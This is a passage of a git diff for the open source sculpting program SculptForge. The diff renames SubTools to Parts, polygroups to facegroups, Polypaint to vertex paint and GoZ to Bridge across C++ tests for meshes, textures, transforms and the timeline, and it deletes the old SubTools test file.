+ CHECK(a.mask == b.mask && a.colors == b.colors && a.hidden == b.hidden && a.facegroups == b.facegroups &&
a.positions == b.positions && a.uvs == b.uvs);
- back.selectSubtool(1);
+ back.selectPart(1);
CHECK(setNamed(back.mesh, "Box visible"));
// Undo isn't carried by projects: the loaded list is simply there.
CHECK(!back.undo.canUndo());
@@ -398,7 +398,7 @@ TEST(selection_sets_file_export_import) {
Document d = makeDoc(makeIcosphere(3));
paintState(d.mesh);
CHECK(run(d, "selection_set_store", {{"name", "A"}, {"channels", "mask,visibility"}}).ok);
- CHECK(run(d, "selection_set_store", {{"name", "B"}, {"channels", "polygroups"}}).ok);
+ CHECK(run(d, "selection_set_store", {{"name", "B"}, {"channels", "facegroups"}}).ok);
const std::string path = tempPath("sf_sets.sfsets");
CHECK(run(d, "selection_sets_export", {{"path", path}}).ok);
Document other = makeDoc(makeIcosphere(3));
@@ -422,7 +422,7 @@ TEST(selection_sets_file_export_import) {
TEST(selection_sets_usd_roundtrip) {
Document d = makeDoc(makeIcosphere(3));
paintState(d.mesh, 0.0f, true);
- CHECK(run(d, "selection_set_store", {{"name", "Front half"}, {"channels", "mask,polygroups,visibility,paint"}}).ok);
+ CHECK(run(d, "selection_set_store", {{"name", "Front half"}, {"channels", "mask,facegroups,visibility,paint"}}).ok);
const Mesh expected = d.mesh;
const std::string path = tempPath("sf_sets.usda");
std::string err;
@@ -432,12 +432,12 @@ TEST(selection_sets_usd_roundtrip) {
CHECK(loadUsd(path, back, splats, err));
CHECK(back.vertexCount() == expected.vertexCount() && back.triangleCount() == expected.triangleCount());
const SelectionSet* s = setNamed(back, "Front half");
- CHECK(s && s->has(kSetMask) && s->has(kSetVisibility) && s->has(kSetPolygroups) && s->has(kSetPaint));
+ CHECK(s && s->has(kSetMask) && s->has(kSetVisibility) && s->has(kSetFaceGroups) && s->has(kSetPaint));
if (s) {
SelectionSetData a;
decodeSelectionSet(*s, kSetAllChannels, a);
CHECK(a.hidden == expected.hidden);
- CHECK(a.polygroups == expected.polygroups);
+ CHECK(a.facegroups == expected.facegroups);
float diff = 0.0f;
for (size_t v = 0; v < a.mask.size() && v < expected.mask.size(); ++v) diff = std::max(diff, std::abs(a.mask[v] - expected.mask[v]));
CHECK(a.mask.size() == expected.mask.size() && diff < 1e-5f);
diff --git a/tests/test_shell_layout.cpp b/tests/test_shell_layout.cpp
index b8aa354e..3be27998 100644
--- a/tests/test_shell_layout.cpp
+++ b/tests/test_shell_layout.cpp
@@ -1,7 +1,7 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// The ZBrush-style shell's layout math (docs/ui-design.md §2): where the canvas,
+// The classic shell's layout math (docs/ui-design.md §2): where the canvas,
// shelves and trays go for the standard layout, hidden shelves, narrow and
// wide windows, and the left-handed mirror; plus the layout JSON round trip.
#include "TestHarness.h"
diff --git a/tests/test_space_camera.cpp b/tests/test_space_camera.cpp
index 496e7582..16334528 100644
--- a/tests/test_space_camera.cpp
+++ b/tests/test_space_camera.cpp
@@ -18,6 +18,6 @@ TEST(space_camera_buttons) {
TEST(space_camera_key) {
CHECK(spaceCameraKeyDown(true, false));
- CHECK(!spaceCameraKeyDown(false, false)); // off by default (ZBrush's Space opens the QuickMenu)
+ CHECK(!spaceCameraKeyDown(false, false)); // off by default (Space opens the QuickMenu)
CHECK(!spaceCameraKeyDown(true, true)); // typing a space in a text field
}
diff --git a/tests/test_starter_meshes.cpp b/tests/test_starter_meshes.cpp
index f15623dd..d30e771f 100644
--- a/tests/test_starter_meshes.cpp
+++ b/tests/test_starter_meshes.cpp
@@ -45,7 +45,7 @@ TEST(starter_meshes_set_and_budget) {
CHECK(m.levels >= 1 && m.levels <= 3);
}
CHECK(findStarterMesh("head") == findStarterMesh("human-head"));
- CHECK(findStarterMesh("zsphere") == nullptr);
+ CHECK(findStarterMesh("forgesphere") == nullptr);
CHECK(total < size_t(15) * 1000 * 1000); // the brief's budget; the set is about 1 MB
std::printf(" starter meshes: %zu bytes compressed\n", total);
}
@@ -53,15 +53,15 @@ TEST(starter_meshes_set_and_budget) {
TEST(starter_meshes_topology_symmetry_and_placement) {
for (const StarterMesh& m : starterMeshes()) {
Document d = load(m, 0);
- CHECK(!d.subtools.empty());
+ CHECK(!d.parts.empty());
AABB box;
// Mirror check: every vertex of every Part has a partner at (-x, y, z) within 0.01 mm.
std::set<std::tuple<long, long, long>> points;
auto key = [](glm::vec3 p) {
return std::make_tuple(std::lround(p.x * 1000.0f), std::lround(p.y * 1000.0f), std::lround(p.z * 1000.0f));
};
- for (int i = 0; i < int(d.subtools.size()); ++i) {
- const Mesh& mesh = d.subtoolMesh(i);
+ for (int i = 0; i < int(d.parts.size()); ++i) {
+ const Mesh& mesh = d.partMesh(i);
CHECK(mesh.vertexCount() > 100);
// All quads: every triangle is paired.
CHECK(mesh.quadPartners.size() == mesh.triangleCount());
@@ -89,8 +89,8 @@ TEST(starter_meshes_topology_symmetry_and_placement) {
}
if (m.symmetric) {
size_t missing = 0;
- for (int i = 0; i < int(d.subtools.size()); ++i)
- for (const glm::vec3& p : d.subtoolMesh(i).positions) {
+ for (int i = 0; i < int(d.parts.size()); ++i)
+ for (const glm::vec3& p : d.partMesh(i).positions) {
const auto [x, y, z] = key(glm::vec3(-p.x, p.y, p.z));
bool found = false;
for (long dx = -1; dx <= 1 && !found; ++dx)
@@ -122,14 +122,14 @@ TEST(starter_meshes_open_with_levels) {
CHECK(subdivCurrentLevel(d.mesh) == 2);
CHECK(d.mesh.vertexCount() > 60000);
CHECK(d.path.empty());
- CHECK(d.subtools.size() == 1 && d.subtools[0].name == "Human Head");
+ CHECK(d.parts.size() == 1 && d.parts[0].name == "Human Head");
// Multi-Part: every Part gets its levels.
r = registry.execute(d, "new_starter_mesh", {{"name", std::string("Creature Head")}, {"levels", 1.0}});
CHECK(r.ok);
- CHECK(d.subtools.size() == 4);
- for (int i = 0; i < int(d.subtools.size()); ++i) CHECK(subdivLevelCount(d.subtoolMesh(i)) == 2);
+ CHECK(d.parts.size() == 4);
+ for (int i = 0; i < int(d.parts.size()); ++i) CHECK(subdivLevelCount(d.partMesh(i)) == 2);
CHECK(!registry.execute(d, "new_starter_mesh", {{"name", std::string("no-such-mesh")}}).ok);
- CHECK(d.subtools.size() == 4); // a failure leaves the scene alone
+ CHECK(d.parts.size() == 4); // a failure leaves the scene alone
}
TEST(starter_meshes_unpack_to_folder) {
diff --git a/tests/test_subtools.cpp b/tests/test_subtools.cpp
deleted file mode 100644
index c1efd334..00000000
--- a/tests/test_subtools.cpp
+++ /dev/null
@@ -1,188 +0,0 @@
-// SculptForge - open source digital sculpting
-// SPDX-License-Identifier: GPL-3.0-or-later
-//
-// SubTools: the Document data model (select / add / remove / move, per-SubTool
-// undo and unsaved-changes tracking), mesh merge and split, the cube
-// primitive, and the subtool_* commands.
-#include "TestHarness.h"
-
-#include "core/Commands.h"
-#include "core/Polygroups.h"
-#include "core/Primitives.h"
-#include "core/SubTools.h"
-#include "io/ObjIO.h"
-
-#include <cmath>
-#include <set>
-
-using namespace sf;
-
-namespace {
-
-size_t groupCount(const Mesh& m) {
- std::set<uint32_t> ids;
- for (uint32_t t = 0; t < m.triangleCount(); ++t) ids.insert(m.polygroupAt(t));
- return ids.size();
-}
-
-} // namespace
-
-TEST(subtool_document_basics) {
- Document doc;
- CHECK(doc.subtoolCount() == 1 && doc.activeSubtoolInfo().name == "Sculpt");
- CommandRegistry reg;
- CHECK(reg.execute(doc, "new_sphere", {{"subdivisions", 3.0}}).ok);
- CHECK(doc.subtoolCount() == 1 && doc.activeSubtoolInfo().name == "Sphere");
- const size_t sphereTris = doc.mesh.triangleCount();
- CHECK(!doc.dirty());
-
- CHECK(reg.execute(doc, "subtool_append", {{"type", std::string("cube")}}).ok);
- CHECK(doc.subtoolCount() == 2 && doc.activeSubtool == 1);
- CHECK(doc.activeSubtoolInfo().name == "Cube");
- CHECK(doc.mesh.triangleCount() == 48u * 48u * 12u);
- CHECK(doc.subtoolMesh(0).triangleCount() == sphereTris); // checked in, intact
- CHECK(doc.dirty());
- // Placed beside the sphere, not inside it.
- CHECK(doc.mesh.bounds().min.x > doc.subtoolMesh(0).bounds().max.x);
-
- // Each SubTool keeps its own undo history.
- doc.markClean();
- CHECK(reg.execute(doc, "mask_all").ok);
- CHECK(doc.undo.canUndo());
- doc.selectSubtool(0);
- CHECK(doc.mesh.triangleCount() == sphereTris);
- CHECK(!doc.undo.canUndo());
- CHECK(doc.dirty()); // the cube's edit is still unsaved
- doc.selectSubtool(1);
- CHECK(doc.undo.canUndo() && doc.mesh.hasMask());
- CHECK(reg.execute(doc, "undo").ok);
- CHECK(doc.mesh.maskAt(0) == 0.0f); // undone (the attribute may stay allocated)
-
- // Picking needs the BVH of the selected SubTool.
- RayHit hit;
- const glm::vec3 c = doc.mesh.bounds().center();
- CHECK(doc.bvh.raycast(doc.mesh, c + glm::vec3(0, 0, 10), glm::vec3(0, 0, -1), hit));
-
- // Names stay unique; rename, move, visibility, solo.
- CHECK(reg.execute(doc, "subtool_append", {{"type", std::string("cube")}}).ok);
- CHECK(doc.activeSubtoolInfo().name == "Cube 2");
- CHECK(reg.execute(doc, "subtool_rename", {{"to", std::string("Cube")}}).ok);
- CHECK(doc.activeSubtoolInfo().name == "Cube 3"); // "Cube" is taken
- CHECK(reg.execute(doc, "subtool_rename", {{"to", std::string("Helmet")}}).ok);
- CHECK(reg.execute(doc, "subtool_move", {{"direction", std::string("up")}}).ok);
- CHECK(doc.activeSubtool == 1 && doc.subtools[1].name == "Helmet" && doc.subtools[2].name == "Cube");
- CHECK(reg.execute(doc, "subtool_solo").ok);
- CHECK(!doc.subtools[0].visible && doc.subtools[1].visible && !doc.subtools[2].visible);
- CHECK(reg.execute(doc, "subtool_solo").ok);
- CHECK(doc.subtools[0].visible && doc.subtools[2].visible);
- CHECK(reg.execute(doc, "subtool_visibility", {{"name", std::string("Cube")}, {"visible", false}}).ok);
- CHECK(!doc.subtools[2].visible);
- CHECK(reg.execute(doc, "subtool_select", {{"name", std::string("Cube")}}).ok);
- CHECK(doc.activeSubtool == 2 && doc.subtools[2].visible); // selecting shows it
- CHECK(!reg.execute(doc, "subtool_select", {{"name", std::string("Nope")}}).ok);
- CHECK(reg.execute(doc, "subtool_list").message.find("2. Cube (") != std::string::npos);
-
- // Delete; the last one stays.
- CHECK(reg.execute(doc, "subtool_delete").ok);
- CHECK(doc.subtoolCount() == 2 && doc.activeSubtool == 1 && doc.activeSubtoolInfo().name == "Helmet");
- CHECK(reg.execute(doc, "subtool_delete", {{"index", 0.0}}).ok);
- CHECK(doc.subtoolCount() == 1 && doc.activeSubtool == 0);
- CHECK(!reg.execute(doc, "subtool_delete").ok);
-
- // A new scene goes back to one SubTool.
- CHECK(reg.execute(doc, "subtool_append").ok);
- CHECK(reg.execute(doc, "new_plane", {{"resolution", 4.0}}).ok);
- CHECK(doc.subtoolCount() == 1 && doc.activeSubtoolInfo().name == "Plane");
-}
-
-TEST(subtool_cube_primitive) {
- Mesh cube = makeCube(4, 2.0f);
- CHECK(cube.triangleCount() == 4u * 4u * 12u);
- CHECK(cube.vertexCount() == 6u * 4u * 4u + 2u); // welded: V - E + F = 2
- CHECK(groupCount(cube) == 6);
- bool outward = true;
- for (size_t v = 0; v < cube.vertexCount(); ++v) outward &= glm::dot(cube.normals[v], cube.positions[v]) > 0.0f;
- CHECK(outward);
- CHECK(std::abs(cube.bounds().max.x - 1.0f) < 1e-5f);
- CHECK(splitIntoParts(cube).empty()); // one closed piece
-}
-
-TEST(subtool_merge_and_split) {
- Mesh a = makeIcosphere(2);
- Mesh b = makeCube(3);
- for (auto& p : b.positions) p.x += 4.0f;
- b.recomputeAllNormals();
- a.ensureMask(0.75f);
- b.ensureColors(glm::vec3(0.2f, 0.4f, 0.6f));
- a.addLayer("Smile");
- a.layers[0].delta.assign(a.vertexCount(), glm::vec3(0, 0.1f, 0));
- a.setLayerWeight(0, 0.5f);
-
- Mesh m = mergeMeshes({&a, &b});
- CHECK(m.vertexCount() == a.vertexCount() + b.vertexCount());
- CHECK(m.triangleCount() == a.triangleCount() + b.triangleCount());
- CHECK(m.hasMask() && m.mask.front() == 0.75f && m.mask.back() == 0.0f);
- CHECK(m.hasColors() && m.colors.front() == glm::vec3(1.0f) && m.colors.back() == glm::vec3(0.2f, 0.4f, 0.6f));
- CHECK(m.layers.size() == 1 && m.layers[0].name == "Smile" && m.layers[0].delta.back() == glm::vec3(0.0f));
- CHECK(std::abs(m.positions[0].y - a.positions[0].y) < 1e-5f); // layer at 0.5 survives the merge
- CHECK(groupCount(m) == 1 + 6); // sphere's one group + the cube's six, kept apart
-
- auto parts = splitIntoParts(m);
- CHECK(parts.size() == 2 && parts[0].triangleCount() == a.triangleCount() && parts[1].triangleCount() == b.triangleCount());
- auto groups = splitByPolygroups(m);
- CHECK(groups.size() == 7 && groups[0].triangleCount() == a.triangleCount());
- CHECK(groups[0].layers.size() == 1 && groups[0].hasMask());
-}
-
-TEST(subtool_merge_split_commands) {
- Document doc;
- CommandRegistry reg;
- CHECK(reg.execute(doc, "new_sphere", {{"subdivisions", 2.0}}).ok);
- const size_t sphereTris = doc.mesh.triangleCount();
- CHECK(reg.execute(doc, "subtool_append", {{"type", std::string("cube")}}).ok);
- const size_t cubeTris = doc.mesh.triangleCount();
- CHECK(reg.execute(doc, "subtool_append", {{"type", std::string("sphere")}}).ok);
- CHECK(reg.execute(doc, "subtool_visibility", {{"visible", false}}).ok); // hide the last one
-
- // Exporters see only what's visible.
- CHECK(mergedVisibleMesh(doc).triangleCount() == sphereTris + cubeTris);
-
- CHECK(reg.execute(doc, "subtool_merge_visible").ok);
- CHECK(doc.subtoolCount() == 2 && doc.activeSubtool == 0 && doc.activeSubtoolInfo().name == "Merged");
- CHECK(doc.mesh.triangleCount() == sphereTris + cubeTris);
- CHECK(!doc.subtools[1].visible); // the hidden one is untouched
- CHECK(!doc.undo.canUndo());
-
- CHECK(reg.execute(doc, "subtool_split_parts").ok);
- CHECK(doc.subtoolCount() == 3 && doc.subtools[0].name == "Merged 1" && doc.subtools[1].name == "Merged 2");
- CHECK(doc.activeSubtool == 0 && doc.mesh.triangleCount() == cubeTris); // largest piece first
-
- // Merge down, then split by groups gives the pieces back (cube has 6 groups).
- CHECK(reg.execute(doc, "subtool_merge_down").ok);
- CHECK(doc.subtoolCount() == 2 && doc.mesh.triangleCount() == sphereTris + cubeTris);
- CHECK(reg.execute(doc, "subtool_split_groups").ok);
- CHECK(doc.subtoolCount() == 1 + 7);
- CHECK(!reg.execute(doc, "subtool_split_parts").ok); // a cube side is one piece
-
- // Duplicate sits right below the original and is independent.
- CHECK(reg.execute(doc, "subtool_select", {{"index", 0.0}}).ok);
- CHECK(reg.execute(doc, "subtool_duplicate").ok);
- CHECK(doc.activeSubtool == 1 && doc.subtools[1].name.find("copy") != std::string::npos);
- CHECK(reg.execute(doc, "mask_all").ok);
- CHECK(!doc.subtoolMesh(0).hasMask());
-}
-
-TEST(subtool_append_file) {
- Document doc;
- CommandRegistry reg;
- CHECK(reg.execute(doc, "new_sphere", {{"subdivisions", 2.0}}).ok);
- const std::string path = tempPath("sf_subtool_eye.obj");
- std::string err;
- CHECK(saveObj(path, makeIcosphere(1, 0.2f), err));
- CHECK(reg.execute(doc, "subtool_append", {{"path", path}}).ok);
- CHECK(doc.subtoolCount() == 2 && doc.activeSubtoolInfo().name == "sf_subtool_eye");
- CHECK(doc.mesh.triangleCount() == makeIcosphere(1).triangleCount());
- CHECK(!reg.execute(doc, "subtool_append", {{"path", tempPath("sf_missing.obj")}}).ok);
- CHECK(!reg.execute(doc, "subtool_append", {{"type", std::string("teapot")}}).ok);
- std::filesystem::remove(path);
-}
diff --git a/tests/test_texture.cpp b/tests/test_texture.cpp
index bdc4098f..8edf68dd 100644
--- a/tests/test_texture.cpp
+++ b/tests/test_texture.cpp
@@ -10,7 +10,7 @@
#include "core/AutoUv.h"
#include "core/BrushAlpha.h"
#include "core/Commands.h"
-#include "core/Polypaint.h"
+#include "core/VertexPaint.h"
#include "core/Primitives.h"
#include "core/Project.h"
#include "core/Texture.h"
@@ -287,7 +287,7 @@ TEST(texture_layers_composite_merge_and_round_trip) {
CommandRegistry reg;
CHECK(reg.execute(doc, "paint_fill", {{"color", std::string("#808080")}, {"area", std::string("all")}}).ok);
CHECK(reg.execute(doc, "paint_layer_add", {{"blend", std::string("multiply")}, {"name", std::string("Dirt")}}).ok);
- CHECK(doc.mesh.paintLayers.empty()); // the texture's stack, not polypaint's
+ CHECK(doc.mesh.paintLayers.empty()); // the texture's stack, not vertex paint's
CHECK(doc.mesh.texture->layers.size() == 1 && doc.mesh.texture->activeLayer == 0);
TexturePainter painter;
CHECK(painter.begin(doc.mesh));
@@ -418,7 +418,7 @@ TEST(texture_copies_are_independent) {
Mesh a = texturedPlane(8, 64);
a.rebuildTopology();
a.recomputeAllNormals();
- Mesh b = a; // e.g. a duplicated SubTool or an undo snapshot: shares the texture until one changes it
+ Mesh b = a; // e.g. a duplicated Part or an undo snapshot: shares the texture until one changes it
CHECK(a.texture == b.texture);
BVH bvh;
bvh.build(a);
@@ -446,19 +446,19 @@ TEST(texture_commands) {
CHECK(doc.undo.undo(doc.mesh, doc.bvh));
CHECK(doc.mesh.texture->width == 1024);
- // Fills paint the texture (the vertices stay unpainted), Texture > Polypaint copies it over.
+ // Fills paint the texture (the vertices stay unpainted), Texture > Vertex paint copies it over.
CHECK(reg.execute(doc, "paint_fill", {{"color", std::string("#ff0000")}}).ok);
CHECK(!doc.mesh.hasColors());
CHECK(paintedTexels(*doc.mesh.texture) > 100000);
- CHECK(reg.execute(doc, "polypaint_from_texture").ok);
+ CHECK(reg.execute(doc, "vertexpaint_from_texture").ok);
CHECK(doc.mesh.hasColors());
CHECK(glm::all(glm::lessThan(glm::abs(doc.mesh.colors[0] - glm::vec3(1, 0, 0)), glm::vec3(0.02f))));
- // Polypaint > Texture bakes vertex colours (green) back.
+ // Vertex paint > Texture bakes vertex colours (green) back.
CHECK(reg.execute(doc, "paint_target", {{"target", std::string("vertex")}}).ok);
CHECK(!paintsTexture(doc.mesh));
CHECK(reg.execute(doc, "paint_fill", {{"color", std::string("#00ff00")}}).ok);
- CHECK(reg.execute(doc, "texture_from_polypaint").ok);
+ CHECK(reg.execute(doc, "texture_from_vertexpaint").ok);
CHECK(paintsTexture(doc.mesh));
const glm::vec3 c = sampleTexture(*doc.mesh.texture, doc.mesh.uvs[0]);
CHECK(c.y > 0.9f && c.x < 0.05f);
@@ -613,7 +613,7 @@ TEST(texture_dab_is_deterministic_with_threads) {
}
TEST(texture_dab_sharpness_does_not_depend_on_mesh_density) {
- // The ZBrush tester's "resolution depends on the geometry density": a hard square alpha on a 2-triangle
+ // The classic tester's "resolution depends on the geometry density": a hard square alpha on a 2-triangle
// plane must give the same texels as on a 64x64 plane, with an edge as sharp as the texture allows.
BrushAlpha square; // fully opaque up to the square's edge: the hardest possible stamp
square.width = square.height = 4;
diff --git a/tests/test_texture_io.cpp b/tests/test_texture_io.cpp
index cca20e16..063f7c96 100644
--- a/tests/test_texture_io.cpp
+++ b/tests/test_texture_io.cpp
@@ -2,20 +2,21 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//
// UVs and textures in the model formats: per-corner UVs survive OBJ, FBX, USD,
-// glTF and GoZ round trips (triangles, kept quads, quads cut by UV seams), and
-// a textured SubTool exports its PNG with the reference each format uses
-// (OBJ .mtl map_Kd, FBX Texture, USD UsdUVTexture, embedded glTF image, GoZ
+// glTF and Bridge round trips (triangles, kept quads, quads cut by UV seams), and
+// a textured Part exports its PNG with the reference each format uses
+// (OBJ .mtl map_Kd, FBX Texture, USD UsdUVTexture, embedded glTF image, Bridge
// diffuse map). Meshes without UVs export without any of it.
#include "TestHarness.h"
#include "core/Commands.h"
#include "core/Image.h"
#include "core/Primitives.h"
-#include "core/SubTools.h"
+#include "core/Parts.h"
#include "core/Texture.h"
#include "io/FbxIO.h"
#include "io/GltfIO.h"
-#include "io/GozIO.h"
+#include "io/BridgeIO.h"
+#include "io/BridgeProtocol.h"
#include "io/ObjIO.h"
#include "io/TextureExport.h"
#include "io/UsdIO.h"
@@ -162,8 +163,8 @@ std::vector<Format> formats() {
}},
{".glb", [](const std::string& p, const Mesh& m, std::string& e) { return saveGlb(p, m, "Sculpt", e); },
[](const std::string& p, Mesh& m, std::string& e) { return loadGltf(p, m, e); }},
- {".GoZ", [](const std::string& p, const Mesh& m, std::string& e) { return saveGoz(p, m, "Sculpt", e); },
- [](const std::string& p, Mesh& m, std::string& e) { return loadGoz(p, m, e); }},
+ {bridgefile::kExt, [](const std::string& p, const Mesh& m, std::string& e) { return saveBridge(p, m, "Sculpt", e); },
+ [](const std::string& p, Mesh& m, std::string& e) { return loadBridge(p, m, e); }},
};
}
@@ -313,7 +314,7 @@ TEST(texture_io_sidecar_names_without_spaces) {
fs::remove_all(dir);
}
-TEST(texture_io_fbx_usd_glb_goz_reference_texture) {
+TEST(texture_io_fbx_usd_glb_bridge_reference_texture) {
const fs::path dir = testDir("sf_texture_io_refs");
std::string err;
Mesh m = seamSphere();
@@ -359,11 +360,11 @@ TEST(texture_io_fbx_usd_glb_goz_reference_texture) {
Mesh back;
CHECK(loadGltf(str(dir / "model.glb"), back, err) && sameUvs(m, back));
- // GoZ: the PNG beside the file, recorded as the diffuse map.
- CHECK(saveGoz(str(dir / "model.GoZ"), m, "Sculpt", err));
+ // Bridge: the PNG beside the file, recorded as the diffuse map.
+ CHECK(saveBridge(str(dir / (std::string("model") + bridgefile::kExt)), m, "Sculpt", err));
CHECK(checkPng(dir / "model_color.png"));
- GozInfo info;
- CHECK(loadGoz(str(dir / "model.GoZ"), back, err, &info));
+ BridgeInfo info;
+ CHECK(loadBridge(str(dir / (std::string("model") + bridgefile::kExt)), back, err, &info));
CHECK(info.diffuseMap.ends_with("model_color.png"));
fs::remove_all(dir);
}
@@ -377,7 +378,7 @@ TEST(texture_io_export_commands_write_textures) {
eye.recomputeAllNormals();
Document doc;
doc.setMesh(std::move(body), "Body");
- doc.addSubtool(std::move(eye), "Eye", false);
+ doc.addPart(std::move(eye), "Eye", false);
// Merging keeps the UVs (meshes without get zeros).
const Mesh merged = mergedVisibleMesh(doc);
CHECK(merged.uvs.size() == merged.triangleCount() * 3);
@@ -389,12 +390,12 @@ TEST(texture_io_export_commands_write_textures) {
std::vector<MeshObject> objects;
std::string err;
CHECK(loadFbx(str(dir / "scene.fbx"), objects, err) && objects.size() == 2);
- if (objects.size() == 2) CHECK(sameCornerUvs(doc.subtoolMesh(0), objects[0].mesh) && !objects[1].mesh.hasUvs());
+ if (objects.size() == 2) CHECK(sameCornerUvs(doc.partMesh(0), objects[0].mesh) && !objects[1].mesh.hasUvs());
CHECK(reg.execute(doc, "export_usd", {{"path", str(dir / "scene.usdz")}}).ok);
CHECK(reg.execute(doc, "export_lods", {{"path", str(dir / "rock.glb")}, {"levels", 2.0}}).ok);
// Every LOD level embeds the texture.
CHECK(readText(dir / "rock_LOD1.glb").find("image/png") != std::string::npos);
- CHECK(reg.execute(doc, "goz_export", {{"path", str(dir / "out.GoZ")}}).ok);
+ CHECK(reg.execute(doc, "bridge_export", {{"path", str(dir / (std::string("out") + bridgefile::kExt))}}).ok);
CHECK(checkPng(dir / "out_Body_color.png"));
fs::remove_all(dir);
}
diff --git a/tests/test_texture_transfer.cpp b/tests/test_texture_transfer.cpp
index 399002b9..e4f4719c 100644
--- a/tests/test_texture_transfer.cpp
+++ b/tests/test_texture_transfer.cpp
@@ -1,16 +1,16 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Texture transfer (core/TextureTransfer.h): Auto UV on a painted SubTool moves the paint (and its layers)
-// onto the new UVs as one undo step; voxel remesh, QRemesh and merging SubTools keep the texture; the cost at
+// Texture transfer (core/TextureTransfer.h): Auto UV on a painted Part moves the paint (and its layers)
+// onto the new UVs as one undo step; voxel remesh, QRemesh and merging Parts keep the texture; the cost at
// 4K on a million triangles.
#include "TestHarness.h"
#include "core/AutoUv.h"
#include "core/Commands.h"
-#include "core/Polypaint.h"
+#include "core/VertexPaint.h"
#include "core/Primitives.h"
-#include "core/SubTools.h"
+#include "core/Parts.h"
#include "core/Texture.h"
#include "core/TextureTransfer.h"
@@ -250,13 +250,13 @@ TEST(texture_transfer_merge_keeps_both_textures) {
}
Mesh plain = makeIcosphere(2, 0.3f); // a part without texture comes out white
for (auto& p : plain.positions) p += glm::vec3(-2.0f, 0.0f, 0.0f);
- doc.addSubtool(second, "Second", false);
- doc.addSubtool(plain, "Plain", false);
+ doc.addPart(second, "Second", false);
+ doc.addPart(plain, "Plain", false);
CommandRegistry reg;
- const CommandResult r = reg.execute(doc, "subtool_merge_visible", {});
+ const CommandResult r = reg.execute(doc, "part_merge_visible", {});
CHECK(r.ok);
CHECK(r.message.find("textures kept") != std::string::npos);
- CHECK(doc.subtoolCount() == 1);
+ CHECK(doc.partCount() == 1);
CHECK(hasTexture(doc.mesh));
CHECK(doc.mesh.texture->width == 2048);
// Points on the two painted spheres follow the pattern; the plain one is white.
@@ -463,8 +463,8 @@ TEST(texture_transfer_carries_material_channels) {
second.uvs = uv.uvs;
second.texture = makeTexture(1024, 1024);
second.paintToTexture = true;
- doc.addSubtool(second, "Second", false);
- CHECK(reg.execute(doc, "subtool_merge_visible", {}).ok);
+ doc.addPart(second, "Second", false);
+ CHECK(reg.execute(doc, "part_merge_visible", {}).ok);
CHECK(channelEnabled(*doc.mesh.texture, Channel::Roughness));
std::vector<float> first, other;
for (const auto& s : randomPoints(doc.mesh, 3000, 5)) {
diff --git a/tests/test_timeline.cpp b/tests/test_timeline.cpp
index 25b37191..3bd67fb9 100644
--- a/tests/test_timeline.cpp
+++ b/tests/test_timeline.cpp
@@ -288,18 +288,18 @@ TEST(timeline_follows_the_undo_budget_and_clear) {
d.setMesh(makeIcosphere(3)); // a new scene clears the history
CHECK(Timeline::of(d.undo) == t.get());
CHECK(t->path().size() == 1);
- // SubTools: each history keeps its own timeline.
+ // Parts: each history keeps its own timeline.
stroke(d, {0, 0, 1}, {0, 0.3f, 1});
t->sync(d);
- d.addSubtool(makeIcosphere(3), "Other");
+ d.addPart(makeIcosphere(3), "Other");
CHECK(Timeline::of(d.undo) == nullptr);
auto t2 = Timeline::attach(d);
stroke(d, {0, 0, 1}, {0, 0.3f, 1});
stroke(d, {0, 1, 0}, {0, 1, 0.3f});
- d.selectSubtool(0);
+ d.selectPart(0);
CHECK(Timeline::of(d.undo) == t.get());
CHECK(t->path().size() == 2);
- d.selectSubtool(1);
+ d.selectPart(1);
CHECK(Timeline::of(d.undo) == t2.get());
CHECK(t2->path().size() == 3);
CHECK(t2->seek(d, 0));
diff --git a/tests/test_transform.cpp b/tests/test_transform.cpp
index 65cb1a37..2390f0f9 100644
--- a/tests/test_transform.cpp
+++ b/tests/test_transform.cpp
@@ -2,14 +2,14 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//
// Transforms (core/MeshTransform.h, the Gizmo 3D and the `transform` command): exact results, masked parts with a
-// smooth falloff, sculpt layers, symmetry, All SubTools, attributes left alone and bit-for-bit undo.
+// smooth falloff, sculpt layers, symmetry, All Parts, attributes left alone and bit-for-bit undo.
#include "TestHarness.h"
#include "core/Commands.h"
#include "core/MeshTransform.h"
#include "core/Primitives.h"
#include "core/Project.h"
-#include "core/SubTools.h"
+#include "core/Parts.h"
#include <glm/gtc/matrix_transform.hpp>
@@ -246,14 +246,14 @@ TEST(transform_leaves_topology_and_attributes) {
const auto tris = m.triangles;
const auto uvs = m.uvs;
const auto quads = m.quadPartners;
- const auto groups = m.polygroups;
+ const auto groups = m.facegroups;
const auto colors = m.colors;
CHECK(m.quadCount() > 0);
CHECK(run(d, "transform", {{"rotate", std::string("15,25,35")}, {"scale", 1.3}}).ok);
CHECK(m.triangles == tris);
CHECK(sameBits(m.uvs, uvs));
CHECK(m.quadPartners == quads);
- CHECK(m.polygroups == groups);
+ CHECK(m.facegroups == groups);
CHECK(sameBits(m.colors, colors));
}
@@ -286,22 +286,22 @@ TEST(transform_symmetry_mirrors_a_masked_pose) {
CHECK(d.mesh.bounds().max.y > bar.bounds().max.y + 0.2f);
}
-TEST(transform_all_subtools) {
+TEST(transform_all_parts) {
Document d = makeDoc(makeIcosphere(2));
- d.addSubtool(makeCube(4), "Box", false);
- const auto a = d.subtoolMesh(0).positions, b = d.subtoolMesh(1).positions;
+ d.addPart(makeCube(4), "Box", false);
+ const auto a = d.partMesh(0).positions, b = d.partMesh(1).positions;
CHECK(run(d, "transform", {{"translate", std::string("0,2,0")}, {"all", true}}).ok);
- CHECK(d.subtoolMesh(0).positions[0] == a[0] + glm::vec3(0, 2, 0));
- CHECK(d.subtoolMesh(1).positions[0] == b[0] + glm::vec3(0, 2, 0));
- // One undo step in each SubTool.
+ CHECK(d.partMesh(0).positions[0] == a[0] + glm::vec3(0, 2, 0));
+ CHECK(d.partMesh(1).positions[0] == b[0] + glm::vec3(0, 2, 0));
+ // One undo step in each Part.
CHECK(d.undo.canUndo());
- CHECK(d.subtools[1].undo.canUndo());
- d.selectSubtool(1);
+ CHECK(d.parts[1].undo.canUndo());
+ d.selectPart(1);
CHECK(run(d, "undo").ok);
CHECK(sameBits(d.mesh.positions, b));
// Without all=1 only the active one moves.
CHECK(run(d, "transform", {{"translate", std::string("1,0,0")}}).ok);
- CHECK(d.subtoolMesh(0).positions[0] == a[0] + glm::vec3(0, 2, 0));
+ CHECK(d.partMesh(0).positions[0] == a[0] + glm::vec3(0, 2, 0));
}
TEST(transform_session_never_accumulates) {
